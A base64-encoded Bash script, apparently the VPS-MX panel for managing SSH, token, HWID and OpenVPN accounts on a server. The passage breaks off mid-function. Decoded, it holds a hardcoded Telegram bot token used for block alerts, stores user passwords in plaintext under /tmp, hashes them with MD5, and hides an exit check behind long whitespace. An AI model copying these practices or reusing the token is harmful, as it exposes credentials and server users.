cCAtdiAnMTI3LjAuMCcgfCBoZWFkIC1uMWA7CiNteWludD1gaWZjb25maWcgfCBncmVwIC1CMSAiaW5ldCBhZGRyOiRteWlwIiB8IGhlYWQgLW4xIHwgYXdrICd7cHJpbnQgJDF9J2A7Ck5PTT1gbGVzcyAvZXRjL1ZQUy1NWC9jb250cm9sYWRvci9ub21icmUubG9nYCA+IC9kZXYvbnVsbCAyPiYxCk5PTTE9YGVjaG8gJE5PTWAgPiAvZGV2L251bGwgMj4mMQpJREI9YGxlc3MgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvSURULmxvZ2AgPiAvZGV2L251bGwgMj4mMQpJREIxPWBlY2hvICRJREJgID4gL2Rldi9udWxsIDI+JjEKZGVjbGFyZSAtQSBUSU1FVVMgClNDUGRpcj0iL2V0Yy9WUFMtTVgiClNDUGRpcjI9IiR7U0NQZGlyfS9oZXJyYW1pZW50YXMiClNDUHVzcj0iJHtTQ1BkaXJ9L2NvbnRyb2xhZG9yIgpNeVBJRD0iJHtTQ1B1c3J9L3BpZC12cHMtbXgiCk15VElNRT0iJHtTQ1B1c3J9L3RpbWUtdnBzLW14IgpVU1JkYXRhYmFzZT0iJHtTQ1BkaXJ9L1ZQUy1NWHVzZXIiClVTUmRhdGFiYXNlaD0iJHtTQ1BkaXJ9L1VzZXItSFdJRCIKdG9rZW5zPSIke1NDUGRpcn0vVXNlci1UT0tFTiIKW1sgISAtZSAke1VTUmRhdGFiYXNlaH0gXV0gJiYgdG91Y2ggJHtVU1JkYXRhYmFzZWh9CltbICEgLWUgJHt0b2tlbnN9IF1dICYmIHRvdWNoICR7dG9rZW5zfQpWRVJZPSIkKHBzIGF1eHxncmVwIC12IGdyZXB8Z3JlcCAidmVyaWZpIikiClZFUlkyPSIkKHBzIGF1eHxncmVwIC12IGdyZXB8Z3JlcCAiYXV0b2RlcyIpIgpbWyAtZSAke015UElEfSBdXSAmJiBzb3VyY2UgJHtNeVBJRH0gfHwgdG91Y2ggJHtNeVBJRH0KW1sgLWUgJHtNeVRJTUV9IF1dICYmIHNvdXJjZSAke015VElNRX0gfHwgdG91Y2ggJHtNeVRJTUV9CltbICEgLWUgJHtVU1JkYXRhYmFzZX0gXV0gJiYgdG91Y2ggJHtVU1JkYXRhYmFzZX0Kc29ydCAke1VTUmRhdGFiYXNlfSB8IHVuaXEgPiAke1VTUmRhdGFiYXNlfXRtcAptdiAtZiAke1VTUmRhdGFiYXNlfXRtcCAke1VTUmRhdGFiYXNlfQojIE9wZW4gVlBOCm5ld2NsaWVudCAoKSB7CiNOb21lICNTZW5oYQp1c2VybW9kIC1wICQob3BlbnNzbCBwYXNzd2QgLTEgJDIpICQxCiAgd2hpbGUgW1sgJHtuZXdmaWxlfSAhPSBAKHN8U3x5fFl8bnxOKSBdXTsgZG8KbXNnIC1iYXIKICAgcmVhZCAtcCAiQ3JlYXIgQXJjaGl2byBPcGVuVlBOPyBbUy9OXTogIiAtZSAtaSBTIG5ld2ZpbGUKICAgdHB1dCBjdXUxICYmIHRwdXQgZGwxCiAgZG9uZQppZiBbWyAke25ld2ZpbGV9ID0gQChzfFMpIF1dOyB0aGVuCgkjIEdlbmVyYXRlcyB0aGUgY3VzdG9tIGNsaWVudC5vdnBuCglybSAtcmYgL2V0Yy9vcGVudnBuL2Vhc3ktcnNhL3BraS9yZXFzLyQxLnJlcQoJcm0gLXJmIC9ldGMvb3BlbnZwbi9lYXN5LXJzYS9wa2kvaXNzdWVkLyQxLmNydAoJcm0gLXJmIC9ldGMvb3BlbnZwbi9lYXN5LXJzYS9wa2kvcHJpdmF0ZS8kMS5rZXkKCWNkIC9ldGMvb3BlbnZwbi9lYXN5LXJzYS8KCS4vZWFzeXJzYSBidWlsZC1jbGllbnQtZnVsbCAkMSBub3Bhc3MgPiAvZGV2L251bGwgMj4mMQoJY2QKCQoJY3AgL2V0Yy9vcGVudnBuL2NsaWVudC1jb21tb24udHh0IH4vJDEub3ZwbgoJZWNobyAiPGNhPiIgPj4gfi8kMS5vdnBuCgljYXQgL2V0Yy9vcGVudnBuL2Vhc3ktcnNhL3BraS9jYS5jcnQgPj4gfi8kMS5vdnBuCgllY2hvICI8L2NhPiIgPj4gfi8kMS5vdnBuCgllY2hvICI8Y2VydD4iID4+IH4vJDEub3ZwbgoJY2F0IC9ldGMvb3BlbnZwbi9lYXN5LXJzYS9wa2kvaXNzdWVkLyQxLmNydCA+PiB+LyQxLm92cG4KCWVjaG8gIjwvY2VydD4iID4+IH4vJDEub3ZwbgoJZWNobyAiPGtleT4iID4+IH4vJDEub3ZwbgoJY2F0IC9ldGMvb3BlbnZwbi9lYXN5LXJzYS9wa2kvcHJpdmF0ZS8kMS5rZXkgPj4gfi8kMS5vdnBuCgllY2hvICI8L2tleT4iID4+IH4vJDEub3ZwbgoJZWNobyAiPHRscy1hdXRoPiIgPj4gfi8kMS5vdnBuCgljYXQgL2V0Yy9vcGVudnBuL3RhLmtleSA+PiB+LyQxLm92cG4KCWVjaG8gIjwvdGxzLWF1dGg+IiA+PiB+LyQxLm92cG4KCQogIHdoaWxlIFtbICR7b3ZwbmF1dGh9ICE9IEAoc3xTfHl8WXxufE4pIF1dOyBkbwogICAgcmVhZCAtcCAiJChmdW5fdHJhbnMgIkNvbG9jYXIgYXV0ZW50aWNhY2lvbiBkZSB1c3VhcmlvIGVuIGVsIGFyY2hpdm8iKT8gW1MvTl06ICIgLWUgLWkgUyBvdnBuYXV0aAogICAgdHB1dCBjdXUxICYmIHRwdXQgZGwxCiAgZG9uZQogIFtbICR7b3ZwbmF1dGh9ID0gQChzfFMpIF1dICYmIHNlZCAtaSAiczthdXRoLXVzZXItcGFzczs8YXV0aC11c2VyLXBhc3M+XG4kMVxuJDJcbjwvYXV0aC11c2VyLXBhc3M+O2ciIH4vJDEub3ZwbgogIGNkICRIT01FCiAgemlwIC4vJDEuemlwIC4vJDEub3ZwbiA+IC9kZXYvbnVsbCAyPiYxCiAgcm0gLi8kMS5vdnBuID4gL2Rldi9udWxsIDI+JjEKCiAgZWNobyAtZSAiXDAzM1sxOzMxbSQoZnVuX3RyYW5zICJBcmNoaXZvIGNyZWFkbyIpOiAoJEhPTUUvJDEuemlwKSIKIGZpCn0KCnVubG9ja2FsbDIgKCkgewpmb3IgdXNlciBpbiAkKGNhdCAvZXRjL3Bhc3N3ZHxncmVwICdob21lJ3xncmVwICdmYWxzZSd8Z3JlcCAtdiAnc3lzbG9nJ3xhd2sgLUYgJzonICd7cHJpbnQgJDF9JykKZG8KdXNlcnBpZD0kKHBzIC11ICR1c2VyIHxhd2sgeydwcmludCAkMSd9KQoKdXNlcm1vZCAtVSAkdXNlciAmPi9kZXYvbnVsbApkb25lCn0KCmVsaW1pbmFyX2FsbCAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAplY2hvIC1lICJcMDMzWzE7MzFtICAgICAgIEJPUlJBUiBUT0RPUyBMT1MgVVNVQVJJT1MgUkVHSVNUUkFET1MiCm1zZyAtYmFyCnJlYWQgLXAgIiAgIOKWuuKWuiBFbnRlciBwYXJhIENvbnRpbnVhciAgbyBDVFJMICsgQyBDYW5jZWxhciDil4Til4QiCmVjaG8gIiIKc2VydmljZSBkcm9wYmVhciBzdG9wICY+L2Rldi9udWxsCnNlcnZpY2Ugc3NoZCBzdG9wICY+L2Rldi9udWxsCnNlcnZpY2Ugc3NoIHN0b3AgJj4vZGV2L251bGwKc2VydmljZSBzdHVubmVsNCBzdG9wICY+L2Rldi9udWxsCnNlcnZpY2Ugc3F1aWQgc3RvcCAmPi9kZXYvbnVsbApmb3IgdXNlciBpbiAkKGNhdCAvZXRjL3Bhc3N3ZHxncmVwICdob21lJ3xncmVwICdmYWxzZSd8Z3JlcCAtdiAnc3lzbG9nJ3xhd2sgLUYgJzonICd7cHJpbnQgJDF9JykKZG8KdXNlcnBpZD0kKHBzIC11ICR1c2VyIHxhd2sgeydwcmludCAkMSd9KQpraWxsICIkdXNlcnBpZCIgMj4vZGV2L251bGwKdXNlcmRlbCAkdXNlcgplY2hvIC1lICJcMDMzWzE7MzJtVVNVQVJJTzpcMDMzWzE7MzNtICR1c2VyIFwwMzNbMTszMW1FbGltaW5hZG8iCmRvbmUKcm0gLXJmICR7U0NQZGlyfS9WUFMtTVh1c2VyCnNlcnZpY2Ugc3NoZCByZXN0YXJ0ICY+L2Rldi9udWxsCnNlcnZpY2Ugc3NoIHJlc3RhcnQgJj4vZGV2L251bGwKc2VydmljZSBkcm9wYmVhciBzdGFydCAmPi9kZXYvbnVsbApzZXJ2aWNlIHN0dW5uZWw0IHN0YXJ0ICY+L2Rldi9udWxsCnNlcnZpY2Ugc3F1aWQgcmVzdGFydCAmPi9kZXYvbnVsbApybSAtcmYgJHtTQ1BkaXJ9L1ZQUy1NWC11c2VybG9jayAmPi9kZXYvbnVsbApybSAtcmYgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvTGltaXRlci5sb2cgJj4vZGV2L251bGwKdW5sb2NrYWxsMgptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9CgpyZXNldF9jb250YWRvciAoKSB7CmNsZWFyIApjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKZWNobyAtZSAiXDAzM1sxOzMzbSAgICAgICAgICBSRUlOSUNJQVIgQ09OVEFET1IgREUgQkxPUVVFT1MiCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTs5N20gISEgVXNhciB1bmljYW1lbnRlIGN1YW5kbyBlbiBlbCBhcGFydGFkbyBkZWwgY29udGFkb3Jcbm1hcnF1ZSBhbGd1bmEgY2FudGlkYWQgZXJyb25lYS4gwqHCoSIKZWNobyAiIgplY2hvIC1lICJcMDMzWzE7OTFtICMjIENhbmNlbGFyIFByZWNpb25lIENUUkwrQyIKbXNnIC1iYXIKcmVhZCAtcCAiICAgICAgICDilrrilrogUHJlc2lvbmUgZW50ZXIgcGFyYSBjb250aW51YXIg4peE4peEIgpybSAtcmYgL2V0Yy9WUFMtTVgvVlBTLU1YLXVzZXJsb2NrCnJtIC1yZiAvZXRjL1ZQUy1NWC9jb250cm9sYWRvci9MaW1pdGVyLmxvZwp1bmxvY2thbGwyCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTs5Mm0gICAgICAgICAgIMKhwqFDT05UQURPUkVTIFJFSU5JQ0lBRE9TISEiCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCn0KU1BSICYKZHJvcHBpZHMgKCkgewpsb2NhbCBwaWRzCgpsb2NhbCBwb3J0YXNWQVI9JChsc29mIC1WIC1pIHRjcCAtUCAtbiB8IGdyZXAgLXYgIkVTVEFCTElTSEVEIiB8Z3JlcCAtdiAiQ09NTUFORCIgfCBncmVwICJMSVNURU4iKQpsb2NhbCBOT1JFUEVBVApsb2NhbCByZVEKbG9jYWwgUG9ydAp3aGlsZSByZWFkIHBvcnQ7IGRvCnJlUT0kKGVjaG8gJHtwb3J0fXxhd2sgJ3twcmludCAkMX0nKQpQb3J0PSQoZWNobyB7JHBvcnR9IHwgYXdrICd7cHJpbnQgJDl9JyB8IGF3ayAtRiAiOiIgJ3twcmludCAkMn0nKQpbWyAkKGVjaG8gLWUgJE5PUkVQRUFUfGdyZXAgLXcgIiRQb3J0IikgXV0gJiYgY29udGludWUKTk9SRVBFQVQrPSIkUG9ydFxuIgpjYXNlICR7cmVRfSBpbgoKZHJvcGJlYXIpCltbIC16ICREUEIgXV0gJiYgbG9jYWwgRFBCPSJcMDMzWzE7MzFtIERST1BCRUFSOiBcMDMzWzE7MzJtIgpEUEIrPSIkUG9ydCAiOzsKCmVzYWMKZG9uZSA8PDwgIiR7cG9ydGFzVkFSfSIKCgpbWyAhIC16ICREUEIgXV0gJiYgZWNobyAtZSAkRFBCIAoKbG9jYWwgcG9ydF9kcm9wYmVhcj0iJERQQiIKI2NhdCAvdmFyL2xvZy9hdXRoLmxvZ3xncmVwICIkKGRhdGV8Y3V0IC1kJyAnIC1mMiwzKSIgPiAvdmFyL2xvZy9hdXRoZGF5LmxvZwpjYXQgL3Zhci9sb2cvYXV0aC5sb2d8dGFpbCAtMTAwMCA+IC92YXIvbG9nL2F1dGhkYXkubG9nCmxvY2FsIGxvZz0vdmFyL2xvZy9hdXRoZGF5LmxvZwpsb2NhbCBsb2dpbnN1a3Nlcz0nUGFzc3dvcmQgYXV0aCBzdWNjZWVkZWQnCltbIC16ICRwb3J0X2Ryb3BiZWFyIF1dICYmIHJldHVybiAxCmZvciBwb3J0IGluIGBlY2hvICRwb3J0X2Ryb3BiZWFyYDsgZG8KIGZvciBwaWR4IGluICQocHMgYXggfGdyZXAgZHJvcGJlYXIgfGdyZXAgIiRwb3J0IiB8YXdrIC1GIiAiICd7cHJpbnQgJDF9Jyk7IGRvCiAgcGlkcz0iJHtwaWRzfSRwaWR4XG4iCiBkb25lCmRvbmUKZm9yIHBpZCBpbiBgZWNobyAtZSAiJHBpZHMiYDsgZG8KICBwaWRsb2dzPWBncmVwICRwaWQgJGxvZyB8Z3JlcCAiJGxvZ2luc3Vrc2VzIiB8YXdrIC1GIiAiICd7cHJpbnQgJDN9J2AKICBpPTAKICAgIGZvciBwaWRlbmQgaW4gJHBpZGxvZ3M7IGRvCiAgICBsZXQgaSsrCiAgICBkb25lCiAgICBpZiBbWyAkcGlkZW5kIF1dOyB0aGVuCiAgICBsb2dpbj0kKGdyZXAgJHBpZCAkbG9nIHxncmVwICIkcGlkZW5kIiB8Z3JlcCAiJGxvZ2luc3Vrc2VzIikKICAgIFBJRD0kcGlkCiAgICB1c2VyPWBlY2hvICRsb2dpbiB8YXdrIC1GIiAiICd7cHJpbnQgJDEwfScgfCBzZWQgLXIgInMvJy8vZyJgCiAgICB3YWt0dT0kKGVjaG8gJGxvZ2luIHxhd2sgLUYiICIgJ3twcmludCAkMiItIiQxLCQzfScpCiAgICBbWyAteiAkdXNlciBdXSAmJiBjb250aW51ZQoJZWNobyAiJHVzZXJ8JFBJRHwkd2FrdHUiCiAgICBmaQpkb25lCn0KCmJsb2NrX3VzZXJmdW4gKCkgewpsb2NhbCBVU1Jsb2tlZD0iL2V0Yy9WUFMtTVgvVlBTLU1YLXVzZXJsb2NrIgpsb2NhbCBMSU1JVEVSTE9HPSIke1VTUmRhdGFiYXNlfS9MaW1pdGVyLmxvZyIKbG9jYWwgTElNSVRFUkxPRzI9IiR7VVNSZGF0YWJhc2V9L0xpbWl0ZXIyLmxvZyIKaWYgW1sgJDIgPSAiLWxva2VkIiBdXTsgdGhlbiAKW1sgJChjYXQgJHtVU1Jsb2tlZH18Z3JlcCAtdyAiJDEiKSBdXSAmJiByZXR1cm4gMQplY2hvICIgJDEgKEJMT0NLLU1VTFRJTE9HSU4pICQoZGF0ZSArJXItLSVkLyVtLyV5KSIKbGltc2VnPSIkKGxlc3MgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvdGllbWRlcy5sb2cpIgpLRVk9IjIwMTI4ODA2MDE6QUFFSjNLazE4UEdEelc1N0xwVE1uVk1uX3BRWVFLVzNWOXciClVSTD0iaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRLRVkvc2VuZE1lc3NhZ2UiCk1TRz0i4pqg77iPIEFWSVNPIERFIFZQUzogJE5PTTEg4pqg77iPCvCflLkgQ1VFTlRBOiAkMSAK4p2X77iP8J+TtSBCTE9DSyBGSUpPL1RFTVBPUkFMIPCfk7XinZfvuI8K8J+UkyggQVVUT1VOTE9DSyBFTiAkbGltc2VnIFNFR1VORE9TKSDwn5STIgpjdXJsIC1zIC0tbWF4LXRpbWUgMTAgLWQgImNoYXRfaWQ9JElEQjEmZGlzYWJsZV93ZWJfcGFnZV9wcmV2aWV3PTEmdGV4dD0kTVNHIiAkVVJMICY+L2Rldi9udWxsCgpwa2lsbCAtdSAkMSAmPi9kZXYvbnVsbAoKZmkKaWYgW1sgJChjYXQgJHtVU1Jsb2tlZH18Z3JlcCAtdyAiJDEiKSBdXTsgdGhlbgp1c2VybW9kIC1VICIkMSIgJj4vZGV2L251bGwKW1sgLWUgJHtVU1Jsb2tlZH0gXV0gJiYgewogICBuZXdiYXNlPSQoY2F0ICR7VVNSbG9rZWR9fGdyZXAgLXcgLXYgIiQxIikKICAgW1sgLWUgJHtVU1Jsb2tlZH0gXV0gJiYgcm0gJHtVU1Jsb2tlZH0KICAgZm9yIHZhbHVlIGluIGBlY2hvICR7bmV3YmFzZX1gOyBkbwogICBlY2hvICR2YWx1ZSA+PiAke1VTUmxva2VkfQogICBkb25lCiAgIH0KW1sgLWUgJHtMSU1JVEVSTE9HfSBdXSAmJiBbWyAkKGNhdCAke0xJTUlURVJMT0d9fGdyZXAgLXcgIiQxIikgXV0gJiYgewogICBuZXdiYXNlPSQoY2F0ICR7TElNSVRFUkxPR318Z3JlcCAtdyAtdiAiJDEiKQogICBbWyAtZSAke0xJTUlURVJMT0d9IF1dICYmIHJtICR7TElNSVRFUkxPR30KICAgZm9yIHZhbHVlIGluIGBlY2hvICR7bmV3YmFzZX1gOyBkbwogICBlY2hvICR2YWx1ZSA+PiAke0xJTUlURVJMT0d9CiAgIGVjaG8gJHZhbHVlID4+ICR7TElNSVRFUkxPR30gICAgCiAgIGRvbmUKfQpyZXR1cm4gMQplbHNlCnVzZXJtb2QgLUwgIiQxIiAmPi9kZXYvbnVsbApwa2lsbCAtdSAkMSAmPi9kZXYvbnVsbAoKZHJvcGxpbT1gZHJvcHBpZHN8Z3JlcCAtdyAiJDEifGN1dCAtZCd8JyAtZjJgIApraWxsIC05ICRkcm9wbGltICY+L2Rldi9udWxsCgplY2hvICQxID4+ICR7VVNSbG9rZWR9CiNub3RpZmkgJj4vZGV2L251bGwKcmV0dXJuIDAKZmkKCn0gCgpleHBvcnQgZHJvcHBpZHMKCmV4cG9ydCBibG9ja191c2VyZnVuCmJsb2NrX3VzZXIgKCkgewpjbGVhcgpjbGVhcgojbXNnIC1iYXIKbG9jYWwgVVNSbG9rZWQ9Ii9ldGMvVlBTLU1YL1ZQUy1NWC11c2VybG9jayIKW1sgISAtZSAke1VTUmxva2VkfSBdXSAmJiB0b3VjaCAke1VTUmxva2VkfQp1c3Vhcmlvc19hdGl2b3M9KCcnICQobW9zdHJhcl91c3VhcmlvcykpCmlmIFtbIC16ICR7dXN1YXJpb3NfYXRpdm9zW0BdfSBdXTsgdGhlbgptc2cgLXRpdAptc2cgLXZlcm0gIiQoZnVuX3RyYW5zICIgQkxPQ0svVU5CTE9DSyB8IE5pbmd1biBVc3VhcmlvIFJlZ2lzdHJhZG8iKSIKbXNnIC1iYXIKcmV0dXJuIDEKZWxzZQptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiBCTE9DSy9VTkJMT0NLIHwgVXN1YXJpb3NBY3Rpdm9zIGRlbCBTZXJ2aWRvciIpIgptc2cgLWJhcgpOdW1iPTEKZm9yIHVzIGluICQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX0pOyBkbwppZiBbWyAkKGNhdCAke1VTUmxva2VkfXxncmVwIC13ICIke3VzfSIpIF1dOyB0aGVuCm1zZyAtbmUgIlskTnVtYl0gLT4iICYmIGVjaG8gLWUgIlwwMzNbMTszM20gJHt1c30gXDAzM1sxOzMxbVtCbG9xdWVhZG9dIgplbHNlCm1zZyAtbmUgIlskTnVtYl0gLT4iICYmIGVjaG8gLWUgIlwwMzNbMTszM20gJHt1c30gXDAzM1sxOzMybVtEZXNibG9xdWVhZG9dIgpmaQpsZXQgTnVtYisrCmRvbmUKbXNnIC1iYXIKZmkKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJFc2NyaWJhIG8gU2VsZWNjaW9uZSBVbiBVc3VhcmlvIikiCm1zZyAtYmFyCnVuc2V0IHNlbGVjdGlvbgp3aGlsZSBbWyAke3NlbGVjdGlvbn0gPSAiIiBdXTsgZG8KZWNobyAtbmUgIlwwMzNbMTszN21TZWxlY2Npb25lOiAiICYmIHJlYWQgc2VsZWN0aW9uCnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lCmlmIFtbICEgJChlY2hvICIke3NlbGVjdGlvbn0iIHwgZWdyZXAgJ1teMC05XScpIF1dOyB0aGVuCnVzdWFyaW9fZGVsPSIke3VzdWFyaW9zX2F0aXZvc1skc2VsZWN0aW9uXX0iCmVsc2UKdXN1YXJpb19kZWw9IiRzZWxlY3Rpb24iCmZpCltbIC16ICR1c3VhcmlvX2RlbCBdXSAmJiB7CiAgICAgbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gSW52YWxpZG8iKSIKICAgICBtc2cgLWJhcgogICAgIHJldHVybiAxCiAgICAgfQpbWyAhICQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX18Z3JlcCAtdyAiJHVzdWFyaW9fZGVsIikgXV0gJiYgewogICAgIG1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkVycm9yLCBVc3VhcmlvIEludmFsaWRvIikiCiAgICAgbXNnIC1iYXIKICAgICByZXR1cm4gMQogICAgIH0KbXNnIC1uZSAiJChmdW5fdHJhbnMgIlVzdWFyaW8gU2VsZWNjaW9uYWRvIik6ICIgJiYgZWNobyAtbmUgIiR1c3VhcmlvX2RlbCAiCmJsb2NrX3VzZXJmdW4gIiR1c3VhcmlvX2RlbCIgJiYgbXNnIC12ZXJtICJbJChmdW5fdHJhbnMgIkJsb3F1ZWFkbyIpXSIgfHwgbXNnIC12ZXJkICJbJChmdW5fdHJhbnMgIkRlc2Jsb3F1ZWFkbyIpXSIKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQptc2cgLWJhcjMKCmFkZF91c2VyICgpIHsKRmVjaGE9YGRhdGUgKyVkLSVtLSV5LSVSYAojbm9tZSBzZW5oYSBEaWFzIGxpbWl0ZQpbWyAkKGNhdCAvZXRjL3Bhc3N3ZCB8Z3JlcCAkMTogfGdyZXAgLXZpIFthLXpdJDEgfGdyZXAgLXYgWzAtOV0kMSA+IC9kZXYvbnVsbCkgXV0gJiYgcmV0dXJuIDEKdmFsaWQ9JChkYXRlICcrJUMleS0lbS0lZCcgLWQgIiArJDMgZGF5cyIpICYmIGRhdGV4cD0kKGRhdGUgIislRiIgLWQgIiArICQzIGRheXMiKQoKaWYgdXNlcmFkZCAtTSAtcyAvYmluL2ZhbHNlIC1lICR7dmFsaWR9IC1LIFBBU1NfTUFYX0RBWVM9JDMgLXAgJChvcGVuc3NsIHBhc3N3ZCAtMSAkMikgLWMgc3NobSwkMyAkMSA7IHRoZW4KICAgZWNobyAiJDF8JDJ8JHt2YWxpZH18JDQiID4+IC9ldGMvVlBTLU1YL1ZQUy1NWHVzZXIKICAgZWNobyAiJDF8JDJ8JHt2YWxpZH18JDQiID4+IC90bXAvdXNlcnNzaAogICBtc2cgLWJhcgogICBtc2cgLXZlcmQgIiQoZnVuX3RyYW5zICIJVXN1YXJpbyBDcmVhZG8gY29uIEV4aXRvIikiCiAgIG1zZyAtYmFyCiAgZWxzZQogIG1zZyAtYmFyCiAgCW1zZyAtdmVybTIgIiQoZnVuX3RyYW5zICIJRXJyb3IsIFVzdWFyaW8gbm8gY3JlYWRvIikiCiAgCW1zZyAtYmFyCiAgCQogIGZpCn0KICAgICAgICAgICAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCVtbICEgLWQgL3Vzci9sb2NhbC9saWJyZXJpYSBdXSAmJiBleGl0CmFkZF9od2lkICgpIHsKI2J5IEBydWZ1OTkKRmVjaGE9YGRhdGUgKyVkLSVtLSV5LSVSYAojbm9tZSBzZW5oYSBEaWFzIGxpbWl0ZQpbWyAkKGNhdCAvZXRjL3Bhc3N3ZCB8Z3JlcCAkMTogfGdyZXAgLXZpIFthLXpdJDEgfGdyZXAgLXYgWzAtOV0kMSA+IC9kZXYvbnVsbCkgXV0gJiYgcmV0dXJuIDEKdmFsaWQ9JChkYXRlICcrJUMleS0lbS0lZCcgLWQgIiArJDMgZGF5cyIpICYmIGRhdGV4cD0kKGRhdGUgIislRiIgLWQgIiArICQzIGRheXMiKQppZiB1c2VyYWRkIC1NIC1zIC9iaW4vZmFsc2UgLWUgJHt2YWxpZH0gLUsgUEFTU19NQVhfREFZUz0kMyAtcCAkKG9wZW5zc2wgcGFzc3dkIC0xICQxKSAtYyBod2lkLCQyICQxIDsgdGhlbgogICBlY2hvICIkMXwkMnwke2RhdGV4cH0iID4+IC9ldGMvVlBTLU1YL1VzZXItSFdJRAogICBlY2hvICIkMXwkMnwke2RhdGV4cH0iID4+IC90bXAvdXNlcmh3aWQKICBtc2cgLWJhcgogICBtc2cgLXZlcmQgIiQoZnVuX3RyYW5zICIJVXN1YXJpbyBIV0lEIENyZWFkbyBjb24gRXhpdG8iKSIKICAgbXNnIC1iYXIKICBlbHNlCiAgbXNnIC1iYXIKICAJbXNnIC12ZXJtMiAiJChmdW5fdHJhbnMgIglFcnJvciwgVXN1YXJpbyBIV0lEIG5vIGNyZWFkbyIpIgogIAltc2cgLWJhcgogIAkKICBmaQoKfQoKCmFkZF90b2tlbiAoKSB7CiNieSBAcnVmdTk5CkZlY2hhPWBkYXRlICslZC0lbS0leS0lUmAKI25vbWUgc2VuaGEgRGlhcyBsaW1pdGUKW1sgJChjYXQgL2V0Yy9wYXNzd2QgfGdyZXAgJDE6IHxncmVwIC12aSBbYS16XSQxIHxncmVwIC12IFswLTldJDEgPiAvZGV2L251bGwpIF1dICYmIHJldHVybiAxCnZhbGlkPSQoZGF0ZSAnKyVDJXktJW0tJWQnIC1kICIgKyQzIGRheXMiKSAmJiBkYXRleHA9JChkYXRlICIrJUYiIC1kICIgKyAkMyBkYXlzIikKcGFzcz0kKGNhdCAke1NDUGRpcn0vLnBhc3N3KQppZiB1c2VyYWRkIC1NIC1zIC9iaW4vZmFsc2UgLWUgJHt2YWxpZH0gLUsgUEFTU19NQVhfREFZUz0kMyAtcCAkKG9wZW5zc2wgcGFzc3dkIC0xICRwYXNzKSAtYyB0b2tlbiwkMiAkMSA7IHRoZW4KCiAgIGVjaG8gIiQxfCQyfCR7ZGF0ZXhwfSIgPj4gL2V0Yy9WUFMtTVgvVXNlci1UT0tFTgogICBlY2hvICIkMXwkMnwke2RhdGV4cH0iID4+IC90bXAvdXNlcnRva2VuCiAgbXNnIC1iYXIKICAgbXNnIC12ZXJkICIkKGZ1bl90cmFucyAiCVVzdWFyaW8gVE9LRU4gQ3JlYWRvIGNvbiBFeGl0byIpIgogICBtc2cgLWJhcgogIGVsc2UKICBtc2cgLWJhcgogIAltc2cgLXZlcm0yICIkKGZ1bl90cmFucyAiCUVycm9yLCBVc3VhcmlvIFRPS0VOIG5vIGNyZWFkbyIpIgogIAltc2cgLWJhcgogIAkKICBmaQoKfQoKCm1vc3RyYXJfaHdpZCgpewojYnkgQHJ1ZnU5OQogIGZvciB1IGluIGBjYXQgL2V0Yy9wYXNzd2R8Z3JlcCAnaG9tZSd8Z3JlcCAnZmFsc2UnfGdyZXAgLXYgJ3N5c2xvZyd8Z3JlcCAtdyAnaHdpZCd8YXdrIC1GICc6JyAne3ByaW50ICQxfSdgOyBkbwogICAgZWNobyAiJHUiCiAgZG9uZQp9Cm1vc3RyYXJfdG9rZW4oKXsKI2J5IEBydWZ1OTkKICBmb3IgdSBpbiBgY2F0IC9ldGMvcGFzc3dkfGdyZXAgJ2hvbWUnfGdyZXAgJ2ZhbHNlJ3xncmVwIC12ICdzeXNsb2cnfGdyZXAgLXcgJ3Rva2VuJ3xhd2sgLUYgJzonICd7cHJpbnQgJDF9J2A7IGRvCiAgICBlY2hvICIkdSIKICBkb25lCn0KCm1vc3RyYXJfdXNlcigpewojYnkgQHJ1ZnU5OQogIGZvciB1IGluIGBjYXQgL2V0Yy9wYXNzd2R8Z3JlcCAnaG9tZSd8Z3JlcCAnZmFsc2UnfGdyZXAgLXYgJ3N5c2xvZyd8Z3JlcCAtdyAnc3NobSd8YXdrIC1GICc6JyAne3ByaW50ICQxfSdgOyBkbwogICAgZWNobyAiJHUiCiAgZG9uZQp9CgpuZXdfaHdpZCAoKSB7CiNieSBAcnVmdTk5CmNsZWFyIApjbGVhcgojbXNnIC1iYXIKI3VzdWFyaW9zX2F0aXZvPSgkKGNhdCAke1VTUmRhdGFiYXNlaH18Y3V0IC1kJ3wnIC1mMSkpCnVzdWFyaW9zX2F0aXZvcz0oJycgJChtb3N0cmFyX2h3aWQpKQppZiBbWyAteiAke3VzdWFyaW9zX2F0aXZvc1tAXX0gXV07IHRoZW4KbXNnIC10aXQKbXNnIC1hbWEgIiAgIEFHUkVHQVIgVVNVQVJJTyBIV0lEfCBOaW5ndW4gVXN1YXJpbyBSZWdpc3RyYWRvXG4gICBQYXJhIExhcyBBcGxpY2FjaW9uZXMgSFRUUCBJbmplY3RvciB8IEhUVFAgQ3VzdG9tIgptc2cgLWJhcgplbHNlCm1zZyAtdGl0Cm1zZyAtYW1hICIgIEFHUkVHQVIgVVNVQVJJTyBIV0lEfCBVc3VhcmlvcyAgQWN0aXZvcyBlbiBTZXJ2aWRvclxuICAgUGFyYSBMYXMgQXBsaWNhY2lvbmVzIEhUVFAgSW5qZWN0b3IgfCBIVFRQIEN1c3RvbSIKbXNnIC1iYXIKZm9yIHVzIGluICQoZWNobyAke3VzdWFyaW